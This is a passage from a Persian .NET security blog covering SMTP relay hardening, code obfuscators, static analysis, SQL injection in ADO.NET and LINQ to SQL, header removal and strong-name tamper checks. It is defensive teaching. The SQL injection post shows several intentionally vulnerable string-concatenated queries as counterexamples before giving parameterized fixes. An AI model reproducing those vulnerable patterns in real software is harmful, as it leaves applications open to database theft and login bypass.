-2 دسترسی عموم را به سرور قطع کنید!

متاسفانه تنظیمات پیش فرض SMTP Server متعلق به IIS در جهت قطع دسترسی "دشمنان" کاملا نادرست بوده و بر مبنای ایده حداقل دسترسی صورت نگرفته است. اگر سرور را به این حال رها کنید فقط "دشمنان" را خوشحال کرده‌اید.

برای قطع دسترسی دشمنان سه مرحله باید صورت گیرد:

الف) در برگه Access مربوط به تنظیمات SMTP server ، روی دکمه relay کلیک کرده، ابتدا تیک مربوط به Allow all computers which successfully authenticated to relay را بردارید (این مورد در یک شبکه داخلی حائز اهمیت می‌شود و سایر کامپیوترها را منع می‌کند). سپس در قسمت بالای صفحه گزینه only the list below را انتخاب کرده و IP آن‌را مساوی 127.0.0.1 وارد کنید (یعنی فقط این کامپیوتر مجاز است که از این سرویس جهت ارسال ایمیل استفاده کند؛ نه دشمنان خارجی).

ب) مورد الف را درباره‌ی قسمت مرتبط با دکمه connections نیز تکرار کنید. (پیش فرض آن تمام عالم است!)

ج) در همین برگه‌ی Access بر روی دکمه Authentication کلیک کرده و فقط تیک مربوط به integrated windows authentication را قرار دهید. (همیشه تحت ویندوز این روش authentication یکی از امن‌ترین‌ها است. همچنین در حالت قرارگیری سرور بر روی اینترنت سخت گیرانه‌ترین حالت ممکن را در اینجا انتخاب کرده‌ایم.)

خوب، با این تنظیم قسمت (ج) دیگر برنامه‌ها با روش متداول قابل به ارسال ایمیل نخواهند بود. یک یوزر معمولی local را به کامپیوتر افزوده (با حداقل دسترسی) و پسورد آن‌را در حالت never expires قرار دهید. از این یوزر ویندوزی جهت برقراری امکان اتصال به میل سرور محلی در برنامه‌های خود استفاده خواهیم کرد (فرض بر این است که برنامه‌ای هم که قرار است ایمیل ارسال کند بر روی همان کامپیوتر سرور قرار دارد).

پس از اعمال این تنظیمات بر روی دکمه apply کلیک کنید، تا تنظیمات اعمال شوند. یکبار نیز میل سرور را استاپ و استارت کنید.

3- تنظیمات ویژه برنامه‌ها برای ارسال ایمیل:

در این حالت برنامه‌های دات نت شما نیاز به چهار تنظیم اضافه‌تر پیش از فراخوانی تابع Send دارند:

```
MailMessage message = new MailMessage("from@site.com", strTo, subject, body)
{
     IsBodyHtml = true,
     BodyEncoding = Encoding.UTF8
};

SmtpClient client = new SmtpClient("127.0.0.1",portNumber);//portNumber is new
client.UseDefaultCredentials = false; //new
client.DeliveryMethod = SmtpDeliveryMethod.Network; //new
client.Credentials = new NetworkCredential("mail_user", "pass"); //new
client.Send(message);
```

همانطور که ملاحظه می‌کنید باید شماره پورت جدید را معرفی نمود، همچنین روش authentication و معرفی مشخصات یوزر ویندوزی که اضافه کردیم را نیز نباید فراموش کرد.

-4 تمامی رخدادهای میل سرور را ثبت کنید.
برای این منظور در برگه general ، تیک مربوط به enable logging را فعال کنید. سپس بر روی دکمه خواص کنار آن کلیک کرده و در صفحه باز شده به برگه extended properties مراجعه نموده و تمامی موارد را تیک بزنید. به ازای هر یک روز فعالیت سرور، یک فایل متنی در مسیر C:\WINDOWS\System32\LogFiles تشکیل خواهد شد.

سؤال چگونه تشخیص دهم که میل سرور من هک شده است یا خیر؟!
اگر موارد فوق را رعایت نکنید، در قسمت current sessions کنسول IIS می‌توانید "دشمنان" را مشاهده کنید! همچنین مصرف CPU پروسه inetinfo.exe عملکرد سرور را مختل کرده، بعلاوه در مسیر C:\Inetpub\mailroot\Queue احتمالا چند هزار ایمیل درصف قرار گرفته شده برای ارسال را می‌توانید مشاهده کنید! (همینطور در مسیر C:\Inetpub\mailroot\Badmail نیز این تعرض قابل مشاهده است)
اگر این موارد را مشاهده کردید، ابتدا سرور را استاپ کنید، سپس محتویات پوشه‌های یاد شده را تخلیه کرده و از مرحله یک فوق شروع به اعمال تنظیمات نمائید.

نظرات خوانندگان

نویسنده: محمد
تاریخ: ۱۳۸۸/۰۵/۰۵ ۲۱:۵۱:۵۱

با سلام و تشکر از شما استاد گرامی

آقای نصیری یه سوالی داشتم. ممنون میشم جواب بدید

1-در طراحی پکیج SSIS آیا امکانش هست با اکانت یاهوم و از طریق SMTP Server یاهو ایمیل ارسال کنم.متاسفانه از طریق Enail Task نمیشه یوزر و پس بهش داد و فقط بصورت windows authentication میشه خودتو به SMTP Server معرفی کنی که تبعا ارور میده

ممنون از توجهتون

نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۵/۰۵ ۲۲:۴۹:۲۰

از جی‌میل استفاده کنید. NetworkCredential در اینجا یوزر نیم و پسورد جی‌میل شما می‌شود. پورت جی میل ، 587 هست و ssl enabled هم باید باشد.

www.mssqltips.com/tipprint.asp?tip=1753

نویسنده: مجتبی
تاریخ: ۱۳۹۱/۰۶/۱۲ ۱۸:۱۲

ممنون از مقاله خوب شما

عنوان: **معرفی Babel Obfuscator**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۵/۱۱ ۲۱:۵۱:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

Babel Obfuscator یک ابزار خط فرمان سورس باز code obfuscation اسمبلی‌های دات نت فریم ورک است.

این ابزار موارد زیر را پشتیبانی می‌کند:

```
- Support NET Framework 1.1, 2.0, 3.5
```

```
- Obfuscate Namespace, Type (aslo generic types), Method, Events, Properties and Fields
```

```
- Unicode Normalization
```

```
- Support Generic Types and Virtual Function Obfuscation
```

```
- MSIL Control Flow Obfuscation
```

```
- String Encryption
```

```
- Dead Code Removal
```

```
- Selective Obfuscation with XML Rule Files
```

```
- Declarative Obfuscation using Custom Attributes
```

```
- MSBuild Integration
```

```
- Strong Name Signature
```

```
-
```

Break tools like Reflector-Reflexil plug-in v0.8 and Ildasm

وبلاگ نویسنده آن

دریافت Babel Obfuscator از گوگل کد و یا رپید شیر

پس از نصب، جهت مشاهده پارامترهای خط فرمان آن به فایل ReadMe.htm مراجعه نمائید و یا اگر علاقمند باشید که از آن به صورت یکپارچه با Reflector استفاده کنید، می‌توان از افزونه زیر کمک گرفت:

Reflector.Babel Addin

نظرات خوانندگان

نویسنده: کیاونش
تاریخ: ۰۱:۰۳:۵۵ ۱۳۸۸/۰۵/۱۲

به چه دردی میخوره این؟ میشه کمی توضیح بدین لطفا.
ممنون.

نویسنده: وحید نصیری
تاریخ: ۰۸:۵۷:۱۷ ۱۳۸۸/۰۵/۱۲

اسمبلی‌های دات نت هم مانند بایت کدهای جاوا دی کامپایل می‌شوند و تقریبا سورس نزدیک به پروژه اصلی را از آن‌ها می‌توان استخراج کرد.
با این نوع ابزارها می‌شود درک کد حاصل شده را مشکل و آن‌را تقریبا بدون استفاده کرد.

نویسنده: کیانوش
تاریخ: ۱۷:۱۱:۰۰ ۱۳۸۸/۰۵/۱۲

ممنون از توضیح

نویسنده: مهدی پایروند
تاریخ: ۱۵:۴۶:۲۷ ۱۳۸۸/۰۵/۱۴

جالب بود مخصوصا افزونه ای که با رفلکتر کار میکنه.
ممنون.

نویسنده: Anonymous
تاریخ: ۰۰:۳۰:۰۹ ۱۳۸۸/۰۵/۱۶

عالی بود، متشکرم

عنوان: Eazfuscator 2.6 منتشر شد
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۶/۱۸ ۱۲:۳۲:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

Eazfuscator

یکی از برنامه‌های با کیفیت code obfuscation مخصوص دات نت فریم ورک است. این برنامه رایگان بوده و استفاده از آن به سادگی drag & drop فایل dll یا exe برنامه خود بر روی پنجره آن می‌باشد (یا استفاده از آن از طریق خط فرمان جهت اتوماسیون این‌کار)

ویژگی‌های آن:

```
Easy to use as 1-2-3
```

```
Automatic code protection with variety of supported obfuscation techniques:
```

```
Symbol renaming
String encryption
Constant literals pruning
Method signatures overload induction
Class hierarchy linerization
Code control flow obfuscation
Assemblies merging
```

```
Automatic code optimization
```

```
Supports .NET Framework versions 2.0, 3.0 and 3.5
```

```
Supports .NET Compact Framework versions 2.0 and 3.5
```

```
Supports Silverlight assemblies and XAP packages
```

```
Supports XNA applications for Windows, Xbox 360 and Zune platforms
```

```
Can obfuscate any 100% managed .NET assembly
```

```
Provides revolutionally innovative and easy to use GUI interface as well as classical command line
interface
```

```
Microsoft Visual Studio integration. Supported versions are Microsoft Visual Studio 2005 and 2008
including Express editions
```

```
Supports automatic builds
```

دریافت نگارش 2.6 آن

پ.ن.
بنابر تجربه شخصی با این ابزارها (تجاری و غیرتجاری)، این تنها برنامه‌ای است که جهت code obfuscation اسمبلی‌های ASP.Net در محیط کاری مشکل ساز نشده و سایت پس از مدتی با پیغام‌های عجیب و غریب از کار نمی‌افتد.

نظرات خوانندگان

نویسنده: Mohammad Shams Javi
تاریخ: ۱۳۸۸/۰۶/۲۱ ۱۹:۲۱:۵۸

سلام، ابزار کوچک جالب و مفیدی بود. در مورد مشکلات احتمالی اسمبلی های مربوط به asp.net ، آیا تا کنون از Remotesoft Salamander استفاده کرده‌اید،... مشکلی داشته است؟؟

نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۶/۲۱ ۱۹:۳۳:۵۶

سلام،
خیر استفاده نکرده‌ام. کلا اگر این ابزارها هدرها را بیش از حد رمزنگاری کنند، گاهی از اوقات پیغام "این فایل یک اسمبلی دات نت نیست" را دریافت کرده و سایت از کار می‌افتد.
در کل باید زیر بار کاربران همزمان در طی چندین روز تست شوند.

نویسنده: Nima
تاریخ: ۱۳۹۰/۰۱/۱۸ ۱۱:۳۹:۱۹

سلام آقای نصیری
ممنون بخاطر مطلب مفیدتون.من با استفاده از babel Obfuscator عمل Obfuscation رو انجام میدم و مشکلی در نسخه مجانی این برنامه هست وقتی اسمبلی ما sign شده باشه(Strong Name) قسمت sign رو از اسمبلی حذف میکنه.میخواستم بدونم شما با Eazfuscator چنین مشکلی نداشتید؟میشه هم اسمبلی sign بشه و هم Obfuscate ؟
با تشکر از شما

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۱/۱۸ ۱۱:۴۷:۳۸

مطابق فایل راهنمای همراه آن:
Eazfuscator.NET magically handles signing options of the project. In case of direct ILMerge usage, you have to supply it with signing key and options manually
به این معنا که مدیریت امضای دیجیتال را هم خودکار انجام می‌دهد

عنوان: **آنالیز استاتیک کدهای CPP**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۷/۱۰ ۱۷:۳۴:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

برنامه Cppcheck ابزار آنالیز سورس کدهای برنامه‌های C و CPP جهت یافتن اشتباهات برنامه نویسی، مشکلات امنیتی، نشتی حافظه و امثال آن است. این برنامه رایگان و سورس باز را می‌توانید از آدرس زیر دریافت کنید:

CPPCheck

در دو نسخه‌ی خط فرمان و همچنین GUI عرضه می‌شود که نگارش دارای UI آن از QT استفاده می‌کند. تا به حال 22 باگ موجود در کرنل لینوکس توسط این برنامه کشف و برطرف شده و همچنین در بسیاری از برنامه‌های سورس باز دیگر نیز مورد استفاده قرار گرفته است.

لیست مواردی را که این برنامه بررسی می‌کند، در این آدرس قابل مشاهده است.

نظرات خوانندگان

نویسنده: Mohammad Shams Javi
تاریخ: ۱۳۸۸/۰۷/۱۲ ۲۲:۱۹:۵۲

عالی بود

موجب شد که با کلی نوستالژی، دوباره سراغ برنامه‌های cpp قدیمی‌ام بروم.

عنوان: **امنیت در LINQ to SQL**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۸/۱۵ ۱۳:۰۶:۰۰
آدرس: www.dotnettips.info
گروه‌ها: Security

سؤال: LINQ to SQL تا چه میزان در برابر حملات تزریق SQL امن است؟
جواب کوتاه: بسیار زیاد!

توضیحات:

```
string query = @"SELECT * FROM USER_PROFILE
              WHERE LOGIN_ID = '"+loginId+@"' AND PASSWORD = '"+password+@"'";
```

گاهی از اوقات هر چقدر هم در مورد خطرات کوئری‌هایی از نوع فوق مقاله نوشته شود کافی نیست و باز هم شاهد این نوع جمع زدن‌ها و نوشتن کوئری‌هایی به شدت آسیب پذیر در حالت استفاده از ADO.Net کلاسیک هستیم. مثال فوق یک نمونه کلاسیک از نمایش آسیب پذیری در مورد تزریق اس کیوال است. یا نمونه‌ی بسیار متداول دیگری از این دست که با ورودی خطرناک می‌تواند تا نمایش کلیه اطلاعات تمامی جداول موجود هم پیش برود:

```
protected void btnSearch_Click(object sender, EventArgs e)
{
 String cmd = @"SELECT [CustomerID], [CompanyName], [ContactName]
  FROM [Customers] WHERE CompanyName ='" + txtCompanyName.Text
  + @"'";

 SqlDataSource1.SelectCommand = cmd;

 GridView1.Visible = true;
}
```

در اینجا فقط کافی است مهاجم با تزریق عبارت SQL مورد نظر خود، کوئری اولیه را کاملا غیرمعتبر کرده و از یک جدول دیگر در سیستم کوئری تهیه کند!
راه حلی که برای مقابله با آن در دات نت ارائه شده نوشتن کوئری‌های پارامتری است و در این حالت کار encoding اطلاعات ورودی به صورت خودکار توسط فریم ورک مورد استفاده انجام خواهد شد؛ همچنین برای مثال اس کیوال سرور، execution plan این نوع کوئری‌های پارامتری را همانند رویه‌های ذخیره شده، کش کرده و در دفعات آتی فراخوانی آن‌ها به شدت سریعتر عمل خواهد کرد. برای مثال:

```
SqlCommand cmd = new SqlCommand("SELECT UserID FROM Users WHERE UserName=@UserName AND
Password=@Password");
cmd.Parameters.Add(new SqlParameter("@UserName", System.Data.SqlDbType.NVarChar, 255, UserName));
cmd.Parameters.Add(new SqlParameter("@Password", System.Data.SqlDbType.NVarChar, 255, Password));
dr = cmd.ExecuteReader();
if (dr.Read()) userId = dr.GetInt32(dr.GetOrdinal("UserID"));
```

زمانیکه از کوئری پارامتری استفاده شود، مقدار پارامتر، هیچگاه فرصت و قدرت اجرا پیدا نمی‌کند. در این حالت صرفا به آن به عنوان یک مقدار معمولی نگاه خواهد شد و نه جزء قابل تغییر بدنه کوئری وارد شده که در حالت جمع زدن رشته‌ها همانند اولین کوئری معرفی شده، تا حد انحراف کوئری به یک کوئری دلخواه مهاجم قابل تغییر است.

اما در مورد LINQ to SQL چطور؟
این سیستم به صورت پیش فرض طوری طراحی شده است که تمام کوئری‌های SQL نهایی حاصل از کوئری‌های LINQ نوشته شده توسط آن، پارامتری هستند. به عبارت دیگر این سیستم به صورت پیش فرض برای افرادی که دارای حداقل اطلاعات امنیتی هستند به شدت امنیت بالایی را به همراه خواهد آورد.

برای مثال کوئری LINQ زیر را در نظر بگیرید:

```
var products = from p in db.products
      where p.description.StartsWith(_txtSearch.Text)
      select new
      {
          p.description,
          p.price,
          p.stock

      };
```

اکنون فرض کنید کاربر به دنبال کلمه sony باشد، آنچه که بر روی اس کیوال سرور اجرا خواهد شد، دستور زیر است (ترجمه نهایی کوئری فوق به زبان T-SQL) :

```
exec sp_executesql N'SELECT [t0].[description], [t0].[price], [t0].[stock]
FROM [dbo].[products] AS [t0]
WHERE [t0].[description] LIKE @p0',N'@p0 varchar(5)',@p0='sony%'
```

برای لاگ کردن این عبارات SQL یا می‌توان از SQL profiler استفاده نمود و یا خاصیت log زمینه مورد استفاده را باید مقدار دهی کرد:

```
db.Log = Console.Out;
```

و یا می‌توان بر روی کوئری مورد نظر در VS.Net یک break point قرار داد و سپس از debug visualizer مخصوص آن استفاده نمود.

همانطور که ملاحظه می‌کنید، کوئری نهایی تولید شده پارامتری است و در صورت ورود اطلاعات خطرناک در پارامتر p0 ، هیچ اتفاق خاصی نخواهد افتاد و صرفا رکوردی بازگشت داده نمی‌شود.

و یا همان مثال کلاسیک اعتبار سنجی کاربر را در نظر بگیرید:

```
public bool Validate(string loginId, string password)
{
 DataClassesDataContext db = new DataClassesDataContext();

 var validUsers = from user in db.USER_PROFILEs
           where user.LOGIN_ID == loginId
           && user.PASSWORD == password
           select user;

 if (validUsers.Count() > 0) return true;
 else return false;
}
```

کوئری نهایی T-SQL تولید شده توسط این ORM از کوئری LINQ فوق به شکل زیر است:

```
SELECT [t0].[LOGIN_ID], [t0].[PASSWORD]
FROM [dbo].[USER_PROFILE] AS [t0]
WHERE ([t0].[LOGIN_ID] = @p0) AND ([t0].[PASSWORD] = @p1)
```

و این کوئری پارامتری نیز در برابر حملات تزریق اس کیوال امن است.

تذکر مهم هنگام استفاده از سیستم LINQ to SQL :

اگر با استفاده از LINQ to SQL مجددا به روش قدیمی اجرای مستقیم کوئری‌های SQL خود همانند مثال زیر روی بیاورید (این امکان نیز وجود دارد)، نتیجه این نوع کوئری‌های حاصل از جمع زدن رشته‌ها، پارامتری "نبوده" و مستعد به تزریق اس کیوال هستند:

```
string sql = "select * from Trade where DealMember='" + this.txtParams.Text + "'";
var trades = driveHax.ExecuteQuery<Trade>(sql);
```

در اینجا باید در نظر داشت که اگر شخصی مجددا بخواهد از این نوع روش‌های کلاسیک استفاده کند شاید همان ADO.Net کلاسیک برای او کافی باشد و نیازی به تحمیل سربار یک ORM را به سیستم نداشته باشد. در این حالت برنامه از type safety کوئری‌های LINQ نیز محروم شده و یک لایه بررسی مقادیر و پارامترها را توسط کامپایلر نیز از دست خواهد داد.

اما روش صحیحی نیز در مورد بکارگیری متد ExecuteQuery وجود دارد. استفاده از این متد به شکل زیر مشکل را حل خواهد کرد:

```
IEnumerable<Customer> results = db.ExecuteQuery<Customer>(
 "SELECT contactname FROM customers WHERE city = {0}", "Tehran");
```

در این حالت، پارامترهای بکارگرفته شده (همان {0} ذکر شده در کوئری) به صورت خودکار به پارامترهای T-SQL ترجمه خواهند شد و مشکل تزریق اس کیوال برطرف خواهد شد (به عبارت دیگر استفاده از +، علامت مستعد بودن به تزریق اس کیوال است و بر عکس).

نظرات خوانندگان

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۱/۱۳ ۰:۸

یک نکته‌ی تکمیلی

اگر از Entity framework استفاده کرده و کوئری‌های SQL را به نحو مستقیمی بر روی بانک اطلاعاتی اجرا می‌کنید، می‌توانید لیست مواردی را که ممکن است مستعد به حملات تزریق اس کیوال باشند، در برنامه‌ی DNTProfiler مشاهده کنید:

عنوان: **سه ابزار امنیتی جدید جهت توسعه دهندگان وب**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۸/۲۳ ۱۹:۴۵:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

مایکروسافت سه ابزار امنیتی رایگان جدید را جهت توسعه دهندگان وب ارائه داده است که فعلا در مرحله آزمایش به سر می‌برند و قرار است این مجموعه به صورت جزئی از مجموعه power tools ویژوال استودیو 2010 ارائه شوند. این سه ابزار به شرح زیر هستند:

الف) CAT.NET 2.0 CTP
CAT.NET کاملا از صفر بازنویسی شده و از موتور جدیدی کمک می‌گیرد. نگارش CTP فعلی آن فقط از طریق خط فرمان قابل اجرا است.
دریافت

ب) WACA 1.0 CTP
نام این ابزار مخفف Web Application Configuration Analyzer است که جهت بررسی تنظیمات برنامه‌های وب شما، همچنین IIS و SQL Server بکار می‌رود و نقایص امنیتی آن‌ها را گوشزد خواهد کرد.
دریافت

ج) WPL 1.0 CTP
نام این ابزار مخفف Web Protection Library است. این ابزار شبیه به یک فایروال جهت برنامه‌های وب شما در مقابل حملات XSS و SQL injection عمل می‌کند و بدون نیاز به تغییر کد (با کمک یک HTTP Module)، محافظت قابل توجهی را ارائه خواهد داد.
دریافت

نظرات خوانندگان

نویسنده: peyman naji
تاریخ: ۱۳۸۸/۰۸/۲۵ ۲۱:۵۲:۴۴

خیلی عالی بود ممنون ...

نویسنده: saber_fatholahi
تاریخ: ۱۳۹۱/۰۴/۰۱ ۹:۵۷

سلام مهندس
عزیز لینک WPL 1.0 CTP کار نمی‌کنه لطفا بررسی کنین

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۴/۰۱ ۱۰:۱۰

من این مطلب رو دو سال قبل نوشتم. WPL الان اینجا است: http://wpl.codeplex.com/

عنوان: **حذف هدرهای مربوط به وب سرور از یک برنامه‌ی ASP.Net**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۱۰/۱۹ ۱۹:۰۲:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

به همراه هر درخواستی از سرور چه از طرف کلاینت و چه از طرف سرور، یک سری header نیز ارسال می‌شود. برای مثال مرورگر، نوع خود را به همراه یک سری از قابلیت‌های مربوطه مانند الگوریتم‌های فشرده سازی پشتیبانی شده به سرور ارسال می‌کند و در مقابل وب سرور هم یک سری هدر را مانند مدت زمان کش کردن اطلاعات دریافتی، نوع و نگارش سرور و امثال آن، به کلاینت ارسال خواهد کرد.
از دیدگاه امنیتی این اطلاعات اضافی هستند. برای مثال از تصویر زیر (که با استفاده از افزونه‌ی فایرباگ تهیه شده) دقیقا می‌توان وب سرور، نگارش آن و بسیاری از موارد دیگر را به سادگی تشخیص داد. در ادامه می‌خواهیم این هدرهای اضافی را حذف کنیم.

امکان تغییر و حذف هدرهای مربوط به response تنها با استفاده از امکانات IIS7 میسر است (در حالت integrated pipeline) و IIS6 چنین اجازه‌ای را به ASP.Net نمی‌دهد.
برای این منظور یک پروژه‌ی جدید، به نام SecurityMdl از نوع class library را ایجاد کرده و دو فایل SecurityMdl.cs و CRemoveHeader.cs را به آن اضافه خواهیم کرد:

```
//SecurityMdl.cs
using System;
using System.Web;

namespace SecurityMdl
{
   public class SecurityMdl : IHttpModule
   {
       public void Init(HttpApplication app)
       {
```

```
            app.PreSendRequestHeaders += app_PreSendRequestHeaders;
        }

        static void app_PreSendRequestHeaders(object sender, EventArgs e)
        {
            CRemoveHeader.CheckPreSendRequestHeaders(sender);
        }

        public void Dispose() { }
    }
}
```

در این Http module ، با تغییر اطلاعات دریافتی در روال رخداد گردان PreSendRequestHeaders می‌توان به مقصود رسید:

```
//CRemoveHeader.cs
using System;
using System.Collections.Generic;
using System.Web;

namespace SecurityMdl
{
   class CRemoveHeader
   {
       private static readonly List<string> _headersToRemoveCache
           = new List<string>
                            {
                                "X-AspNet-Version",
                                "X-AspNetMvc-Version",
                                "Server"
                            };

       public static void CheckPreSendRequestHeaders(Object sender)
       {
           //capture the current request
           var currentResponse = ((HttpApplication)sender).Response;

           //removing headers
           //it only works with IIS 7.x's integrated pipeline
           _headersToRemoveCache.ForEach(h => currentResponse.Headers.Remove(h));

           //modify the "Server" Http Header
           currentResponse.Headers.Set("Server", "Test");
       }
   }
}
```

در اینجا علاوه بر حذف هدرهای ذکر شده در headersToRemoveCache ، هدر Server در پایان کار با یک مقدار جدید نیز ارسال می‌گردد.

و نهایتا برای استفاده از آن (علاوه بر افزودن ارجاعی به این ماژول جدید) چند سطر زیر را باید به وب کانفیگ برنامه اضافه کرد:

```
<system.webServer>
<modules>
  <add name="SecurityMdl" type="SecurityMdl.SecurityMdl, SecurityMdl"/>
</modules>
```

با استفاده از این روش تمامی هدرهای مورد نظر بجز هدری به نام X-Powered-By حذف خواهند شد. برای حذف هدر مربوط به X-Powered-By که توسط خود IIS مدیریت می‌شود باید موارد زیر را به web.config برنامه اضافه کرد:

```
<system.webServer>
<httpProtocol>
  <customHeaders>
    <remove name="X-Powered-By"/>
  </customHeaders>
</httpProtocol>
```

و یا می‌توان توسط خود IIS نیز این مورد را تغییر داد یا کلا حذف نمود:

اکنون پس از این تغییرات حاصل کار و هدر نهایی دریافت شده از response یک برنامه‌ی ASP.net به شکل زیر درخواهد آمد:

Headers Response HTML Cookies

Response Headers

Cache-Control	private
Content-Type	text/html; charset=utf-8
Content-Encoding	gzip
Vary	Accept-Encoding
Server	Test
Date	Sat, 09 Jan 2010 14:27:59 GMT
Content-Length	1217

برای مطالعه‌ی بیشتر

Remove the X-AspNet-Version header

Cloaking your ASP.NET MVC Web Application on IIS 7

IIS 7 - How to send a custom "Server" http header

Removing Unnecessary HTTP Headers in IIS and ASP.NET

Remove X-Powered-By: ASP.NET HTTP Response Header

عنوان: **چگونه تشخیص دهیم اسمبلی دات نت ما وصله شده است؟**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۹/۰۷/۰۶ ۱۲:۲۹:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

یکی از روش‌هایی که برای بررسی یکپارچگی فایل‌ها مورد استفاده قرار می‌گیرد و عموما در دنیای سخت افزار و firmware های نوشته شده برای آن‌ها مرسوم است، قرار دادن CRC32 فایل در قسمتی از فایل و بررسی آن حین Boot سیستم است. اگر CRC32 جدید با CRC32 اصلی یکسان نباشد به این معنا است که فایل در حال اجرا پیش تر دستکاری شده است.

اما در دات نت فریم ورک روش متداول اینکار چیست؟ برای این منظور اضافه کردن امضای دیجیتال به فایل و اسمبلی نهایی تولیدی (فایل exe یا dll تولیدی) توصیه می‌شود (مراجعه به قسمت خواص پروژه و افزودن امضای دیجیتال جدید فقط با چند کلیک، +).

این مورد خوب است (با توجه به اینکه از الگوریتم‌های RSA و SHA1 استفاده می‌کند)، لازم است، اما کافی نیست زیرا ابزارهای حذف آن وجود دارند. به عبارتی برای وصله کردن این فایل‌ها فقط کافی است این امضای دیجیتال حذف شود و زمانی هم که نباشد، بررسی خاصی در مورد یکپارچگی فایل صورت نخواهد گرفت.

اما اگر باز هم نگران patch یا وصله شدن اسمبلی دات نت خود هستید این مورد افزودن امضای دیجیتال را حتما انجام دهید.

مهم‌ترین خاصیت آن این است که یک سری تابع native در دات نت فریم ورک برای بررسی نبود آن وجود دارند (+):

```
[DllImport("mscoree.dll", CharSet=CharSet.Unicode)]
public static extern bool StrongNameSignatureVerificationEx(string wszFilePath, bool
fForceVerification, ref bool pfWasVerified);
```

wszFilePath مسیر فایلی است که باید بررسی شود.

fForceVerification آیا متغیر pfWasVerified نیز مقدار دهی گردد؟

خروجی تابع مشخص می‌سازد که آیا strong name موجود و معتبر است یا خیر؟

و مثالی از استفاده‌ی آن (که بهتر است در یک تایمر نیم ساعت پس از اجرای برنامه رخ دهد):

```
using System;
using System.Reflection;
using System.Runtime.InteropServices;

namespace SigCheck
{
   public class Validation
   {
       [DllImport("mscoree.dll", CharSet = CharSet.Unicode)]
       public static extern bool StrongNameSignatureVerificationEx(
           string wszFilePath, bool fForceVerification, ref bool pfWasVerified);

       public static void SigCheck()
       {
           var assembly = Assembly.GetExecutingAssembly();
           bool pfWasVerified = false;
           if (!StrongNameSignatureVerificationEx(assembly.Location, true, ref pfWasVerified))
           {
               //خاتمه برنامه در صورت عدم وجود امضای دیجیتال معتبر
               throw new Exception();
           }
       }
   }

   class Program
   {
       static void Main(string[] args)
       {
           Validation.SigCheck();
       }
   }
```

```
}
```

خوب، شاید پس از حذف و وصله شدن اسمبلی، مجددا strong name به آن اضافه شود! ، آن وقت چه باید کرد؟
زمانیکه به اسمبلی خود امضای دیجیتال اضافه می‌کنید، هش رمزنگاری شده فایل با الگوریتم RSA ، به همراه public key مورد نیاز در اسمبلی ذخیره می‌شوند. از آنجائیکه private key الگوریتم RSA را منتشر نکرده‌اید، شکستن الگوریتم RSA کار ساده‌ای نیست، مگر اینکه جفت کلید خودشان را تولید کنند و public key جدید را در فایل نهایی قرار دهند. بدیهی است این public key جدید با کلید عمومی ما که متناظر است با کلید خصوصی منتشر نشده‌ی اصلی، تطابق نخواهد داشد. برای آشنایی با تابعی که این بررسی را انجام می‌دهد به مقاله ذکر شده رجوع کنید:

Checking For A Valid Strong Name Signature

عنوان: **تفاوت‌های نگارش‌های مختلف ویندوز از لحاظ امنیتی**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۱/۱۱ ۱۱:۰۷:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

اخیرا مایکروسافت گزارش پیشرفت امنیتی مجموعه‌ی خودش رو از سال 2004 تا 2010 منتشر کرده که از اینجا قابل دریافت است. یکی از سؤالات مهمی که در این گزارش به صورت دو جدول ساده و زیبا پاسخ داده شده، مقایسه تمهیدات امنیتی موجود در نگارش‌های مختلف ویندوز است و ... یک تصویر بهتر است از هزار گفتار.

	XP RTM SP1	XP SP2	XP SP3	Vista RTM	Vista SP1	Vista SP2	Win7 RTM
SEH							
SafeSEH	N	Y	Y	Y	Y	Y	Y
SEHOP	N	N	N	N	OptIn	OptIn	OptIn
SEHOP per-process OptIn support	N	N	N	N	N	N	Y
Heap							
Safe unlinking	N	Y	Y	Y	Y	Y	Y
Block header cookies	N	Y	Y	Y	Y	Y	Y
Lookaside/freelist removal	N	N	N	Y	Y	Y	Y
Metadata encryption	N	N	N	Y	Y	Y	Y
Terminate on corruption (32-bit app)	N	N	N	Opt In	Opt In	Opt In	Opt In
Terminate on corruption (64-bit app)	N	N	N	Opt Out	Opt Out	Opt Out	Opt Out
DEP							
NX support (i386)	N	OptIn	OptIn	OptIn	OptIn	OptIn	OptIn
NX support (amd64, 32-bit app)	N	OptIn	OptIn	OptIn	OptIn	OptIn	OptIn
NX support (amd64, 64-bit app)	N	AlwaysOn	AlwaysOn	AlwaysOn	AlwaysOn	AlwaysOn	AlwaysOn
ASLR							
Randomization support							
Images	N	N	N	OptIn	OptIn	OptIn	OptIn
Stacks	N	N	N	OptIn	OptIn	OptIn	OptIn
Heaps	N	N	N	Y	Y	Y	Y
PEBs/TEBs	N	Y	Y	Y	Y	Y	Y
Entropy (bits)							
Images	0	0	0	8	8	8	8
Stacks	0	0	0	14	14	14	14
Heaps	0	0	0	5	5	5	5
PEBs/TEBs	0	4	4	4	4	4	4
APIs							
SetProcessDEPPolicy support	N	N	Y	N	Y	Y	Y

	Srv03 RTM	Srv03 SP1, SP2	SRV08 RTM	Srv08 R2 RTM
SEH				
SafeSEH	N	Y	Y	Y
SEHOP	N	N	OptOut	OptOut
SEHOP per-process OptIn support	N	N	N	Y
Heap				
Safe unlinking	N	Y	Y	Y
Block header cookies	N	Y	Y	Y
Lookaside/freelist removal	N	N	Y	Y
Metadata encryption	N	N	Y	Y
Terminate on corruption (32-bit app)	N	N	OptIn	OptIn
Terminate on corruption (64-bit app)	N	N	OptOut	OptOut
DEP				
NX support (i386)	N	OptOut	OptOut	OptOut
